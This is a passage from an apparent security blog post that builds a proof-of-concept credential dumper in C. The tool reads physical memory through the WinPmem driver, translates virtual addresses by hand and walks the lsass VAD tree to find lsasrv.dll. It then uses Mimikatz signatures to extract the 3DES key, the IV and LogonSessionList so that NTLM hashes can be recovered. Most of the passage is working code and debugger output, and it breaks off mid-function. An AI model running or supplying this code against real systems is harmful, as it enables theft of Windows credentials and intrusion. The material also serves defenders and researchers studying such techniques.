                        printf("\t[*] VadRoot points to 0x%08llx [VIRTUAL]\n", VadRootPointer);
                        memcpy(&VadCount, largebuffer + offset - 0x5a8 + 0x7e8, sizeof(ULONGLONG));
                        printf("\t[*] VadCount is %lld\n", VadCount);
                        free(needle_buffer);
                        free(largebuffer);
                        found = 1;
                        break;
                    }
                }
            }

            start += bytes_read;

            free(needle_buffer);
            free(largebuffer);
        }
        if (found != 0) {
            break;
        }
    }
    
	return 0;
}

And here is the ouput:

[+] Getting WinPmem handle...   OK!
[+] Getting memory info...      OK!
[+] Memory Info:
        [-] Total ranges: 4
                Start 0x00001000 - Length 0x0009e000
                Start 0x00100000 - Length 0x00002000
                Start 0x00103000 - Length 0xdfeed000
                Start 0x100000000 - Length 0x20000000
        [-] Max physical memory 0x120000000
[+] Scanning memory... signature match at 0x271c3628!
[+] EPROCESS is at 0x271c3080 [PHYSICAL]
        [*] DirectoryTableBase: 0x29556000
        [*] VadRoot is at 0x271c3858 [PHYSICAL]
        [*] VadRoot points to 0xffffa48bb0147290 [VIRTUAL]
        [*] VadCount is 165

Maybe you are wondering why are we interested in the field DirectoryTableBase. The thing is: from our point of view we only can work with physical memory, we do not “understand” what a virtual address is because to us they are “out of context”. We know about physical memory and offsets, not about virtual addresses bounded to a process. But we are going to deal with pointers to virtual memory so… we need a way to translate them.

Lost in translation

I like to compare virtual addresses with the code used in libraries to know the location of a book, where the first digits indicates the hall, the next the bookshelf, the column and finally the shelf where the book lies.

Our virtual address is in some way just like the library code: it contains different indexes. Instead of talking about halls, columns or shelves, we have Page-Map-Level4 (PML4E), Page-Directory-Pointer (PDPE), Page-Directory (PDE), Page-Table (PTE) and the Page Physical Offset.

From AMD64 Architecture Programmer’s Manual Volume 2.
From AMD64 Architecture Programmer’s Manual Volume 2.

Those are the page levels for a 4KB page, for 2MB we have PML4E, PDPE, PDE and the offset. We can verify this information using kd and the command !vtop with different processes:

For 4KB (Base 0x26631000, virtual adress to translate 0xffffc987034fd330):

lkd> !vtop 26631000 0xffffc987034fd330
Amd64VtoP: Virt ffffc987034fd330, pagedir 0000000026631000
Amd64VtoP: PML4E 0000000026631c98
Amd64VtoP: PDPE 00000000046320e0
Amd64VtoP: PDE 0000000100a1c0d0
Amd64VtoP: PTE 000000001fa3f7e8
Amd64VtoP: Mapped phys 0000000026da8330
Virtual address ffffc987034fd330 translates to physical address 26da8330.

For 2MB (Base 0x1998D000, virtual address to translate 0xffffaa83f4b35640):

lkd> !vtop 1998D000 ffffaa83f4b35640
Amd64VtoP: Virt ffffaa83f4b35640, pagedir 000000001998d000
Amd64VtoP: PML4E 000000001998daa8
Amd64VtoP: PDPE 0000000004631078
Amd64VtoP: PDE 0000000004734d28
Amd64VtoP: Large page mapped phys 0000000108d35640
Virtual address ffffaa83f4b35640 translates to physical address 108d35640.

What is it doing under the hood? Well, the picture of a 4KB page follows this explanation: if you turn the virtual address to its binary representation, you can split it into the indexes of each page level. So, imagine we want to translate the virtual address 0xffffa48bb0147290 and the process page base is 0x29556000 (let’s assume is a 4KB page, later we will explain how to know it).

lkd> .formats ffffa48bb0147290
Evaluate expression:
  Hex:     ffffa48b`b0147290
  Decimal: -100555115171184
  Octal:   1777775110566005071220
  Binary:  11111111 11111111 10100100 10001011 10110000 00010100 01110010 10010000
  Chars:   ......r.
  Time:    ***** Invalid FILETIME
  Float:   low -5.40049e-010 high -1.#QNAN
  Double:  -1.#QNAN

Now we can split the bits in chunks: 12 bits for the Page Physical Offset, 9 for the PTE, 9 for the PDE, 9 for the PDPE and 9 for the PML4E:

1111111111111111 101001001 000101110 110000000 101000111 001010010000

Next we are going to take the chunk for PML4E and multiply by 0x8:

lkd> .formats 0y101001001
Evaluate expression:
  Hex:     00000000`00000149
  Decimal: 329
  Octal:   0000000000000000000511
  Binary:  00000000 00000000 00000000 00000000 00000000 00000000 00000001 01001001
  Chars:   .......I
  Time:    Thu Jan  1 01:05:29 1970
  Float:   low 4.61027e-043 high 0
  Double:  1.62548e-321

0x149 * 0x8 = 0xa48

Now we can use it as an offset: just add this value to the page base (0x29556a48). Next, read the physical memory at that location:

lkd> !dq 29556a48
#29556a48 0a000000`04632863 00000000`00000000
#29556a58 00000000`00000000 00000000`00000000
#29556a68 00000000`00000000 00000000`00000000
#29556a78 00000000`00000000 00000000`00000000
#29556a88 00000000`00000000 00000000`00000000
#29556a98 00000000`00000000 00000000`00000000
#29556aa8 00000000`00000000 00000000`00000000
#29556ab8 00000000`00000000 00000000`00000000

Turn to zero the last 3 numbers, so we have 0x4632000. Now repeat the operation of multiplying the chunk of bits:

kd> .formats 0y000101110
Evaluate expression:
  Hex:     00000000`0000002e
  Decimal: 46
  Octal:   0000000000000000000056
  Binary:  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00101110
  Chars:   ........
  Time:    Thu Jan  1 01:00:46 1970
  Float:   low 6.44597e-044 high 0
  Double:  2.2727e-322

So… 0x4632000 + (0x2e * 0x8) == 0x4632170. Read the physical memory at this point:

lkd> !dq 4632170
# 4632170 0a000000`04735863 00000000`00000000
# 4632180 00000000`00000000 00000000`00000000
# 4632190 00000000`00000000 00000000`00000000
# 46321a0 00000000`00000000 00000000`00000000
# 46321b0 00000000`00000000 00000000`00000000
# 46321c0 00000000`00000000 00000000`00000000
# 46321d0 00000000`00000000 00000000`00000000
# 46321e0 00000000`00000000 00000000`00000000

Just repeat the same operation until the end (except for the last 12 bits, those don’t need to be multiplied by 0x8) and you have successfully translated your virtual address! Don’t trust me? Check it!

kd> !vtop 0x29556000 0xffffa48bb0147290
Amd64VtoP: Virt ffffa48bb0147290, pagedir 0000000029556000
Amd64VtoP: PML4E 0000000029556a48
Amd64VtoP: PDPE 0000000004632170
Amd64VtoP: PDE 0000000004735c00
Amd64VtoP: PTE 0000000022246a38
Amd64VtoP: Mapped phys 000000001645b290
Virtual address ffffa48bb0147290 translates to physical address 1645b290.

Ta-dá!

Here is a sample function that we are going to use to translate virtual addresses (4KB and 2MB) to physical (ugly as hell, but works):

ULONGLONG v2p(ULONGLONG vaddr) {
    BOOL result = FALSE;
    DWORD bytes_read = 0;
    LARGE_INTEGER PML4E;
    LARGE_INTEGER PDPE;
    LARGE_INTEGER PDE;
    LARGE_INTEGER PTE;
    ULONGLONG SIZE = 0;
    ULONGLONG phyaddr = 0;
    ULONGLONG base = 0;

    base = DirectoryTableBase;

    PML4E.QuadPart = base + extractBits(vaddr, 9, 39) * 0x8;
    //printf("[DEBUG Virtual Address: 0x%08llx]\n", vaddr);
    //printf("\t[*] PML4E: 0x%x\n", PML4E.QuadPart);

    result = SetFilePointerEx(pmem_fd, PML4E, NULL, FILE_BEGIN);
    PDPE.QuadPart = 0;
    result = ReadFile(pmem_fd, &PDPE.QuadPart, 7, &bytes_read, NULL);
    PDPE.QuadPart = extractBits(PDPE.QuadPart, 56, 12) * 0x1000 + extractBits(vaddr, 9, 30) * 0x8;
    //printf("\t[*] PDPE: 0x%08llx\n", PDPE.QuadPart);

    result = SetFilePointerEx(pmem_fd, PDPE, NULL, FILE_BEGIN);
    PDE.QuadPart = 0;
    result = ReadFile(pmem_fd, &PDE.QuadPart, 7, &bytes_read, NULL);
    PDE.QuadPart = extractBits(PDE.QuadPart, 56, 12) * 0x1000 + extractBits(vaddr, 9, 21) * 0x8;
    //printf("\t[*] PDE: 0x%08llx\n", PDE.QuadPart);


    result = SetFilePointerEx(pmem_fd, PDE, NULL, FILE_BEGIN);
    PTE.QuadPart = 0;
    result = ReadFile(pmem_fd, &SIZE, 8, &bytes_read, NULL);
    if (extractBits(SIZE, 1, 63) == 1) {
        result = SetFilePointerEx(pmem_fd, PDE, NULL, FILE_BEGIN);
        result = ReadFile(pmem_fd, &phyaddr, 7, &bytes_read, NULL);
        phyaddr = extractBits(phyaddr, 56, 20) * 0x100000 + extractBits(vaddr, 21, 0);
        //printf("\t[*] Physical Address: 0x%08llx\n", phyaddr);
        return phyaddr;

     }


    result = SetFilePointerEx(pmem_fd, PDE, NULL, FILE_BEGIN);
    PTE.QuadPart = 0;
    result = ReadFile(pmem_fd, &PTE.QuadPart, 7, &bytes_read, NULL);
    PTE.QuadPart = extractBits(PTE.QuadPart, 56, 12) * 0x1000 + extractBits(vaddr, 9, 12) * 0x8;
    //printf("\t[*] PTE: 0x%08llx\n", PTE.QuadPart);

    result = SetFilePointerEx(pmem_fd, PTE, NULL, FILE_BEGIN);
    result = ReadFile(pmem_fd, &phyaddr, 7, &bytes_read, NULL);
    phyaddr = extractBits(phyaddr, 56, 12) * 0x1000 + extractBits(vaddr, 12, 0);
    //printf("\t[*] Physical Address: 0x%08llx\n", phyaddr);
    
    return phyaddr;
}

Well, now we can work with virtual addresses. Let’s move!

Lovin’ Don’t Grow On Trees

The next task to solve is to walk the AVL tree and extract all the VADs. Let’s check the VadRoot pointer:

lkd> dq ffffa48bb0147290
ffffa48b`b0147290  ffffa48b`b0146c50 ffffa48b`b01493b0
ffffa48b`b01472a0  00000000`00000001 ff643ab1`ff643aa0
ffffa48b`b01472b0  00000000`00000707 00000000`00000000
ffffa48b`b01472c0  00000003`000003a0 00000000`00000000
ffffa48b`b01472d0  00000000`04000000 ffffa48b`b014daa0
ffffa48b`b01472e0  ffffd100`10b56f40 ffffd100`10b56fc8
ffffa48b`b01472f0  ffffa48b`b014da28 ffffa48b`b014da28
ffffa48b`b0147300  ffffa48b`b016e081 00007ff6`43aa5002

The first thing we can see is the pointer to the left node (offset 0x00-0x07) and the pointer to the right node (0x08-0x10). We have to add them to a queue and check them later, and add their respective new children nodes, repeating this operation in order to walk the whole tree. Also combining 4 bytes from 0x18 and 1 byte from 0x20 we get the starting address of the described memory region (the ending virtual address is obtained combining 4 bytes from 0x1c and 1 byte from 0x21). So we can walk the whole tree doing something like:

//(...)
	currentNode = queue[cursor]; // Current Node, at start it is the VadRoot pointer
        if (currentNode == 0) {
            cursor++;
            continue;
        }

        reader.QuadPart = v2p(currentNode); // Get Physical Address
        left = readPhysMemPointer(reader); //Read 8 bytes and save it as "left" node
        queue[last++] = left; //Add the new node
        //printf("[<] Left: 0x%08llx\n", left);

        reader.QuadPart = v2p(currentNode + 0x8); // Get Physical Address of right node
        right = readPhysMemPointer(reader); //Save the pointer
        queue[last++] = right; //Add the new node
        //printf("[>] Right: 0x%08llx\n", right);
  



        // Get the start address
        reader.QuadPart = v2p(currentNode + 0x18);
        result = SetFilePointerEx(pmem_fd, reader, NULL, FILE_BEGIN);
        result = ReadFile(pmem_fd, &startingVpn, 4, &bytes_read, NULL);
        reader.QuadPart = v2p(currentNode + 0x20);
        result = SetFilePointerEx(pmem_fd, reader, NULL, FILE_BEGIN);
        result = ReadFile(pmem_fd, &startingVpnHigh, 1, &bytes_read, NULL);
        start = (startingVpn << 12) | (startingVpnHigh << 44);

        // Get the end address
        reader.QuadPart = v2p(currentNode + 0x1c);
        result = SetFilePointerEx(pmem_fd, reader, NULL, FILE_BEGIN);
        result = ReadFile(pmem_fd, &endingVpn, 4, &bytes_read, NULL);
        reader.QuadPart = v2p(currentNode + 0x21);
        result = SetFilePointerEx(pmem_fd, reader, NULL, FILE_BEGIN);
        result = ReadFile(pmem_fd, &endingVpnHigh, 1, &bytes_read, NULL);
        end = (((endingVpn + 1) << 12) | (endingVpnHigh << 44));
//(...)

Now we can retrieve all the regions of virtual memory reserved, and the limits (starting address and ending address, and by substraction the size):

[+] Starting to walk _RTL_AVL_TREE...
                ===================[VAD info]===================
[0] (0xffffa48bb0147290) [0x7ff643aa0000-0x7ff643ab2000] (73728 bytes)
[1] (0xffffa48bb0146c50) [0x1d4d2ef0000-0x1d4d2f0d000] (118784 bytes)
[2] (0xffffa48bb01493b0) [0x7ff845000000-0x7ff845027000] (159744 bytes)
[3] (0xffffa48bb0179300) [0x80cbf00000-0x80cbf80000] (524288 bytes)
[4] (0xffffa48bb01795d0) [0x1d4d36a0000-0x1d4d36a1000] (4096 bytes)
[5] (0xffffa48bb01a1390) [0x7ff844540000-0x7ff84454c000] (49152 bytes)

But VADs contain other interesting metadata. For example, if the region is reserved for an image file, we can retrieve the path of that file. This is important for us because we want to locate the loaded lsasrv.dll inside the lsass process because from here is where we are going to loot credentials (imitating the Mimikatz’s sekurlsa::msv to get NTLM hashes).

Let’s take a ride through the __mmvad struct (follow the arrows!):

lkd> dt nt!_mmvad 0xffffe786`ed185cf0
   +0x000 Core             : _MMVAD_SHORT
   +0x040 u2               : <anonymous-tag>
   +0x048 Subsection       : 0xffffe786`ed185d60 _SUBSECTION <===========
   +0x050 FirstPrototypePte : (null)
   +0x058 LastContiguousPte : 0x00000002`00000006 _MMPTE
   +0x060 ViewLinks        : _LIST_ENTRY [ 0x00000006`00000029 - 0x00000000`00000000 ]
   +0x070 VadsProcess      : 0xffffe786`ed185c70 _EPROCESS
   +0x078 u4               : <anonymous-tag>
   +0x080 FileObject       : 0xffffe786`ed185d98 _FILE_OBJECT



kd> dt nt!_SUBSECTION 0xffffe786`ed185d60
   +0x000 ControlArea      : 0xffffe786`ed185c70 _CONTROL_AREA <==============================
   +0x008 SubsectionBase   : 0xffffae0e`cab53f58 _MMPTE
   +0x010 NextSubsection   : 0xffffe786`ed185d98 _SUBSECTION
   +0x018 GlobalPerSessionHead : _RTL_AVL_TREE
   +0x018 CreationWaitList : (null)
   +0x018 SessionDriverProtos : (null)
   +0x020 u                : <anonymous-tag>
   +0x024 StartingSector   : 0x2b
   +0x028 NumberOfFullSectors : 0x2c
   +0x02c PtesInSubsection : 6
   +0x030 u1               : <anonymous-tag>
   +0x034 UnusedPtes       : 0y000000000000000000000000000000 (0)
   +0x034 ExtentQueryNeeded : 0y0
   +0x034 DirtyPages       : 0y0



lkd> dt nt!_CONTROL_AREA  0xffffe786`ed185c70
   +0x000 Segment          : 0xffffae0e`ce0c9f50 _SEGMENT
   +0x008 ListHead         : _LIST_ENTRY [ 0xffffe786`ed1b1210 - 0xffffe786`ed1b1210 ]
   +0x008 AweContext       : 0xffffe786`ed1b1210 Void
   +0x018 NumberOfSectionReferences : 1
   +0x020 NumberOfPfnReferences : 0xf
   +0x028 NumberOfMappedViews : 1
   +0x030 NumberOfUserReferences : 2
   +0x038 u                : <anonymous-tag>
   +0x03c u1               : <anonymous-tag>
   +0x040 FilePointer      : _EX_FAST_REF <=================
   +0x048 ControlAreaLock  : 0n0
   +0x04c ModifiedWriteCount : 0
   +0x050 WaitList         : (null)
   +0x058 u2               : <anonymous-tag>
   +0x068 FileObjectLock   : _EX_PUSH_LOCK
   +0x070 LockedPages      : 1
   +0x078 u3               : <anonymous-tag>

So at 0xffffe786ed185c70 plus 0x40 we have a field called FilePointer and it is an EX_FAST_REF. In order to retrieve the correct pointer, we have to retrieve the pointer from this position and turn to zero the last digit:

lkd> dt nt!_EX_FAST_REF 0xffffe786`ed185c70+0x40
   +0x000 Object           : 0xffffe786`ed19539c Void <=========================== & 0xfffffffffffffff0
   +0x000 RefCnt           : 0y1100
   +0x000 Value            : 0xffffe786`ed19539c

So 0xffffe786ed19539c & 0xfffffffffffffff0 is 0xffffe786ed195390, which is a pointer to a _FILE_OBJECT struct:

lkd> dt nt!_FILE_OBJECT 0xffffe786`ed195390
   +0x000 Type             : 0n5
   +0x002 Size             : 0n216
   +0x008 DeviceObject     : 0xffffe786`e789c060 _DEVICE_OBJECT
   +0x010 Vpb              : 0xffffe786`e77df4c0 _VPB
   +0x018 FsContext        : 0xffffae0e`cd2c8170 Void
   +0x020 FsContext2       : 0xffffae0e`cd2c83e0 Void
   +0x028 SectionObjectPointer : 0xffffe786`ed18e7f8 _SECTION_OBJECT_POINTERS
   +0x030 PrivateCacheMap  : (null)
   +0x038 FinalStatus      : 0n0
   +0x040 RelatedFileObject : (null)
   +0x048 LockOperation    : 0 ''
   +0x049 DeletePending    : 0 ''
   +0x04a ReadAccess       : 0x1 ''
   +0x04b WriteAccess      : 0 ''
   +0x04c DeleteAccess     : 0 ''
   +0x04d SharedRead       : 0x1 ''
   +0x04e SharedWrite      : 0 ''
   +0x04f SharedDelete     : 0x1 ''
   +0x050 Flags            : 0x44042
   +0x058 FileName         : _UNICODE_STRING "\Windows\System32\lsass.exe"  <======== /!\
   +0x068 CurrentByteOffset : _LARGE_INTEGER 0x0
   +0x070 Waiters          : 0
   +0x074 Busy             : 0
   +0x078 LastLock         : (null)
   +0x080 Lock             : _KEVENT
   +0x098 Event            : _KEVENT
   +0x0b0 CompletionContext : (null)
   +0x0b8 IrpListLock      : 0
   +0x0c0 IrpList          : _LIST_ENTRY [ 0xffffe786`ed195450 - 0xffffe786`ed195450 ]
   +0x0d0 FileObjectExtension : (null)

Finally! At offset 0x58 is an _UNICODE_STRING struct that contains the path to the image asociated with this memory region. In order to get this info, we need to parse each node found and get deep in this rollercoaster of structs, reading each pointer from the target offset. So… finally we are going to have something like:

void walkAVL(ULONGLONG VadRoot, ULONGLONG VadCount) {

    /* Variables used to walk the AVL tree*/
    ULONGLONG* queue;
    BOOL result;
    DWORD bytes_read = 0;
    LARGE_INTEGER reader;
    ULONGLONG cursor = 0;
    ULONGLONG count = 1;
    ULONGLONG last = 1;

    ULONGLONG startingVpn = 0;
    ULONGLONG endingVpn = 0;
    ULONGLONG startingVpnHigh = 0;
    ULONGLONG endingVpnHigh = 0;
    ULONGLONG start = 0;
    ULONGLONG end = 0;

    VAD* vadList = NULL;



    printf("[+] Starting to walk _RTL_AVL_TREE...\n");
    queue = (ULONGLONG *)malloc(sizeof(ULONGLONG) * VadCount * 4); // Make room for our queue
    queue[0] = VadRoot; // Node 0

    vadList = (VAD*)malloc(VadCount * sizeof(*vadList)); // Save all the VADs in an array. We do not really need it (because we can just break when the lsasrv.dll is found) but hey... maybe we want to reuse this code in the future

    while (count <= VadCount) {
        ULONGLONG currentNode;
        ULONGLONG left = 0;
        ULONGLONG right = 0;
        ULONGLONG subsection = 0;
        ULONGLONG control_area = 0;
        ULONGLONG filepointer = 0;
        ULONGLONG fileobject = 0;
        ULONGLONG filename = 0;
        USHORT pathLen = 0;
        LPWSTR path = NULL;
        

        // printf("Cursor [%lld]\n", cursor);
        currentNode = queue[cursor]; // Current Node, at start it is the VadRoot pointer
        if (currentNode == 0) {
            cursor++;
            continue;
        }

        reader.QuadPart = v2p(currentNode); // Get Physical Address
        left = readPhysMemPointer(reader); //Read 8 bytes and save it as "left" node
        queue[last++] = left; //Add the new node
        //printf("[<] Left: 0x%08llx\n", left);

        reader.QuadPart = v2p(currentNode + 0x8); // Get Physical Address of right node
        right = readPhysMemPointer(reader); //Save the pointer
        queue[last++] = right; //Add the new node
        //printf("[>] Right: 0x%08llx\n", right);
  



        // Get the start address
        reader.QuadPart = v2p(currentNode + 0x18);
        result = SetFilePointerEx(pmem_fd, reader, NULL, FILE_BEGIN);
        result = ReadFile(pmem_fd, &startingVpn, 4, &bytes_read, NULL);
        reader.QuadPart = v2p(currentNode + 0x20);
        result = SetFilePointerEx(pmem_fd, reader, NULL, FILE_BEGIN);
        result = ReadFile(pmem_fd, &startingVpnHigh, 1, &bytes_read, NULL);
        start = (startingVpn << 12) | (startingVpnHigh << 44);

        // Get the end address
        reader.QuadPart = v2p(currentNode + 0x1c);
        result = SetFilePointerEx(pmem_fd, reader, NULL, FILE_BEGIN);
        result = ReadFile(pmem_fd, &endingVpn, 4, &bytes_read, NULL);
        reader.QuadPart = v2p(currentNode + 0x21);
        result = SetFilePointerEx(pmem_fd, reader, NULL, FILE_BEGIN);
        result = ReadFile(pmem_fd, &endingVpnHigh, 1, &bytes_read, NULL);
        end = (((endingVpn + 1) << 12) | (endingVpnHigh << 44));

        //Get the pointer to Subsection (offset 0x48 of __mmvad)
        reader.QuadPart = v2p(currentNode + 0x48);
        subsection = readPhysMemPointer(reader); 
        
        if (subsection != 0 && subsection != 0xffffffffffffffff) {

            //Get the pointer to ControlArea (offset 0 of _SUBSECTION)
            reader.QuadPart = v2p(subsection);
            control_area = readPhysMemPointer(reader); 

            if (control_area != 0 && control_area != 0xffffffffffffffff) {

                //Get the pointer to FileObject (offset 0x40 of _CONTROL_AREA)
                reader.QuadPart = v2p(control_area + 0x40);
                fileobject = readPhysMemPointer(reader);
                if (fileobject != 0 && fileobject != 0xffffffffffffffff) {
                    // It is an _EX_FAST_REF, so we need to mask the last byte
                    fileobject = fileobject & 0xfffffffffffffff0;

                    //Get the pointer to path length (offset 0x58 of _FILE_OBJECT is _UNICODE_STRING, the len plus null bytes is at +0x2)
                    reader.QuadPart = v2p(fileobject + 0x58 + 0x2);
                    result = SetFilePointerEx(pmem_fd, reader, NULL, FILE_BEGIN);
                    result = ReadFile(pmem_fd, &pathLen, 2, &bytes_read, NULL);

                    //Get the pointer to the path name (offset 0x58 of _FILE_OBJECT is _UNICODE_STRING, the pointer to the buffer is +0x08)
                    reader.QuadPart = v2p(fileobject + 0x58 + 0x8);
                    filename = readPhysMemPointer(reader);

                    //Save the path name
                    path = (LPWSTR)malloc(pathLen * sizeof(wchar_t));
                    reader.QuadPart = v2p(filename);
                    result = SetFilePointerEx(pmem_fd, reader, NULL, FILE_BEGIN);
                    result = ReadFile(pmem_fd, path, pathLen * 2, &bytes_read, NULL);
                }
            }
        }
        /*printf("[0x%08llx]\n", currentNode);
        printf("[!] Subsection 0x%08llx\n", subsection);
        printf("[!] ControlArea 0x%08llx\n", control_area);
        printf("[!] FileObject 0x%08llx\n", fileobject);
        printf("[!] PathLen %d\n", pathLen);
        printf("[!] Buffer with path name 0x%08llx\n", filename);
        printf("[!] Path name: %S\n", path);
        */


        // Save the info in our list
        vadList[count - 1].id = count - 1;
        vadList[count - 1].vaddress = currentNode;
        vadList[count - 1].start = start;
        vadList[count - 1].end = end;
        vadList[count - 1].size = end - start;
        memset(vadList[count - 1].image, 0, MAX_PATH);
        if (path != NULL) {
            wcstombs(vadList[count - 1].image, path, MAX_PATH);
            free(path);
        } 

        count++;
        cursor++;
    }

    //Just print the VAD list
    printf("\t\t===================[VAD info]===================\n");
    for (int i = 0; i < VadCount; i++) {
        printf("[%lld] (0x%08llx) [0x%08llx-0x%08llx] (%lld bytes)\n", vadList[i].id, vadList[i].vaddress, vadList[i].start, vadList[i].end, vadList[i].size);
        if (vadList[i].image[0] != 0) {
            printf(" |\n +---->> %s\n", vadList[i].image);
        }
    }
    printf("\t\t================================================\n");


    for (int i = 0; i < VadCount; i++) {
        if (!strcmp(vadList[i].image, "\\Windows\\System32\\lsasrv.dll")) { // Is this our target?
            printf("[!] LsaSrv.dll found! [0x%08llx-0x%08llx] (%lld bytes)\n", vadList[i].start, vadList[i].end, vadList[i].size);
            // TODO lootLsaSrv(vadList[i].start, vadList[i].end, vadList[i].size);
            break;
        }
    }
    

    
    free(vadList);
    free(queue);
    return;
    
}

This looks like…

(...)
[161] (0xffffa48baf677ba0) [0x7ff8122b0000-0x7ff8122e0000] (196608 bytes)
 |
 +---->> \Windows\System32\CertPolEng.dll
[162] (0xffffa48bb1f640a0) [0x7ff8183e0000-0x7ff818422000] (270336 bytes)
 |
 +---->> \Windows\System32\ngcpopkeysrv.dll
[163] (0xffffa48bb1f63ce0) [0x7ff83df10000-0x7ff83df2a000] (106496 bytes)
 |
 +---->> \Windows\System32\tbs.dll
[164] (0xffffa48bb1f66a80) [0x7ff83e270000-0x7ff83e2e3000] (471040 bytes)
 |
 +---->> \Windows\System32\cryptngc.dll
                ================================================
[!] LsaSrv.dll found! [0x7ff845130000-0x7ff8452ce000] (1695744 bytes)

To recap at this point we:

  1. Can translate virtual addresses to physical
  2. Got the location of the LsaSrv.dll module inside the lsass process memory

Stray Mimikatz sings Runnaway Boys

This time we are only interested in retrieving NTLM hashes, so we are going to implement something like the sekurlsa::msv from Mimikatz as PoC (once we have located the process memory, and its modules, it is trivial to imitate any functionatility from Mimikatz so I picked the quickier to implement as PoC).

This is well explained in the article “Uncovering Mimikatz ‘msv’ and collecting credentials through PyKD” from Matteo Malvica, so it is redundant to explain it again here… but in essence we are going to search for signatures inside lsasrv.dll and then retrieve the info needed to locate the LogonSessionList struct and the crypto keys/IVs needed. Also another good related article to read is “Exploring Mimikatz - Part 1 - WDigest” by @xpn.

As I am imitating the post from Matteo Malvica, I am going to retrieve only the cryptoblob encrypted with Triple-DES. Here is our shitty code:

void lootLsaSrv(ULONGLONG start, ULONGLONG end, ULONGLONG size) {
    LARGE_INTEGER reader;
    DWORD bytes_read = 0;
    LPSTR lsasrv = NULL;
    ULONGLONG cursor = 0;
    ULONGLONG lsasrv_size = 0;
    ULONGLONG original = 0;
    BOOL result; 
 

    ULONGLONG LogonSessionListCount = 0;
    ULONGLONG LogonSessionList = 0;
    ULONGLONG LogonSessionList_offset = 0;
    ULONGLONG LogonSessionListCount_offset = 0;
    ULONGLONG iv_offset = 0;
    ULONGLONG hDes_offset = 0;
    ULONGLONG DES_pointer = 0;

    unsigned char* iv_vector = NULL;
    unsigned char* DES_key = NULL;
    KIWI_BCRYPT_HANDLE_KEY h3DesKey;
    KIWI_BCRYPT_KEY81 extracted3DesKey;

    LSAINITIALIZE_NEEDLE LsaInitialize_needle = { 0x83, 0x64, 0x24, 0x30, 0x00, 0x48, 0x8d, 0x45, 0xe0, 0x44, 0x8b, 0x4d, 0xd8, 0x48, 0x8d, 0x15 };
    LOGONSESSIONLIST_NEEDLE LogonSessionList_needle = { 0x33, 0xff, 0x41, 0x89, 0x37, 0x4c, 0x8b, 0xf3, 0x45, 0x85, 0xc0, 0x74 };
    
    PBYTE LsaInitialize_needle_buffer = NULL;
    PBYTE needle_buffer = NULL;

    int offset_LsaInitialize_needle = 0;
    int offset_LogonSessionList_needle = 0;

    ULONGLONG currentElem = 0;

    original = start;

    /* Save the whole region in a buffer */
    lsasrv = (LPSTR)malloc(size);
    while (start < end) {
        DWORD bytes_read = 0;
        DWORD bytes_written = 0;
        CHAR tmp = NULL;
        reader.QuadPart = v2p(start);
        result = SetFilePointerEx(pmem_fd, reader, NULL, FILE_BEGIN);
        result = ReadFile(pmem_fd, &tmp, 1, &bytes_read, NULL);
        lsasrv[cursor] = tmp;
        cursor++;
        start = original + cursor;
    }
    lsasrv_size = cursor;

    // Use mimikatz signatures to find the IV/keys
    printf("\t\t===================[Crypto info]===================\n");   
    LsaInitialize_needle_buffer = (PBYTE)malloc(sizeof(LSAINITIALIZE_NEEDLE));
    memcpy(LsaInitialize_needle_buffer, &LsaInitialize_needle, sizeof(LSAINITIALIZE_NEEDLE));
    offset_LsaInitialize_needle = memmem((PBYTE)lsasrv, lsasrv_size, LsaInitialize_needle_buffer, sizeof(LSAINITIALIZE_NEEDLE));
    printf("[*] Offset for InitializationVector/h3DesKey/hAesKey is %d\n", offset_LsaInitialize_needle);

    memcpy(&iv_offset, lsasrv + offset_LsaInitialize_needle + 0x43, 4);  //IV offset
    printf("[*] IV Vector relative offset: 0x%08llx\n", iv_offset);
    iv_vector = (unsigned char*)malloc(16);
    memcpy(iv_vector, lsasrv + offset_LsaInitialize_needle + 0x43 + 4 + iv_offset, 16);
    printf("\t\t[/!\\] IV Vector: ");
    for (int i = 0; i < 16; i++) {
        printf("%02x", iv_vector[i]);
    }
    printf(" [/!\\]\n");
    free(iv_vector);

    memcpy(&hDes_offset, lsasrv + offset_LsaInitialize_needle - 0x59, 4); //DES KEY offset
    printf("[*] 3DES Handle Key relative offset: 0x%08llx\n", hDes_offset);  
    reader.QuadPart = v2p(original + offset_LsaInitialize_needle - 0x59 + 4 + hDes_offset);
    DES_pointer = readPhysMemPointer(reader);
    printf("[*] 3DES Handle Key pointer: 0x%08llx\n", DES_pointer);

    reader.QuadPart = v2p(DES_pointer);
    result = SetFilePointerEx(pmem_fd, reader, NULL, FILE_BEGIN);
    result = ReadFile(pmem_fd, &h3DesKey, sizeof(KIWI_BCRYPT_HANDLE_KEY), &bytes_read, NULL);
    reader.QuadPart = v2p((ULONGLONG)h3DesKey.key);
    result = SetFilePointerEx(pmem_fd, reader, NULL, FILE_BEGIN);
    result = ReadFile(pmem_fd, &extracted3DesKey, sizeof(KIWI_BCRYPT_KEY81), &bytes_read, NULL);

    DES_key = (unsigned char*)malloc(extracted3DesKey.hardkey.cbSecret);
    memcpy(DES_key, extracted3DesKey.hardkey.data, extracted3DesKey.hardkey.cbSecret);
    printf("\t\t[/!\\] 3DES Key: ");
    for (int i = 0; i < extracted3DesKey.hardkey.cbSecret; i++) {
        printf("%02x", DES_key[i]);
    }
    printf(" [/!\\]\n");
    free(DES_key);
    printf("\t\t================================================\n");

    needle_buffer = (PBYTE)malloc(sizeof(LOGONSESSIONLIST_NEEDLE));
    memcpy(needle_buffer, &LogonSessionList_needle, sizeof(LOGONSESSIONLIST_NEEDLE));
    offset_LogonSessionList_needle = memmem((PBYTE)lsasrv, lsasrv_size, needle_buffer, sizeof(LOGONSESSIONLIST_NEEDLE));

    memcpy(&LogonSessionList_offset, lsasrv + offset_LogonSessionList_needle + 0x17, 4);
    printf("[*] LogonSessionList Relative Offset: 0x%08llx\n", LogonSessionList_offset);

    LogonSessionList = original + offset_LogonSessionList_needle + 0x17 + 4 + LogonSessionList_offset;
    printf("[*] LogonSessionList: 0x%08llx\n", LogonSessionList);

    reader.QuadPart = v2p(LogonSessionList);
    printf("\t\t===================[LogonSessionList]===================");
    while (currentElem != LogonSessionList) {
        if (currentElem == 0) {
            currentElem = LogonSessionList;
        }
        reader.QuadPart = v2p(currentElem);
        currentElem = readPhysMemPointer(reader);
        //printf("Element at: 0x%08llx\n", currentElem);
        USHORT length = 0;
        LPWSTR username = NULL;
        ULONGLONG username_pointer = 0;

        reader.QuadPart = v2p(currentElem + 0x90);  //UNICODE_STRING = USHORT LENGHT USHORT MAXLENGTH LPWSTR BUFFER
        result = SetFilePointerEx(pmem_fd, reader, NULL, FILE_BEGIN);
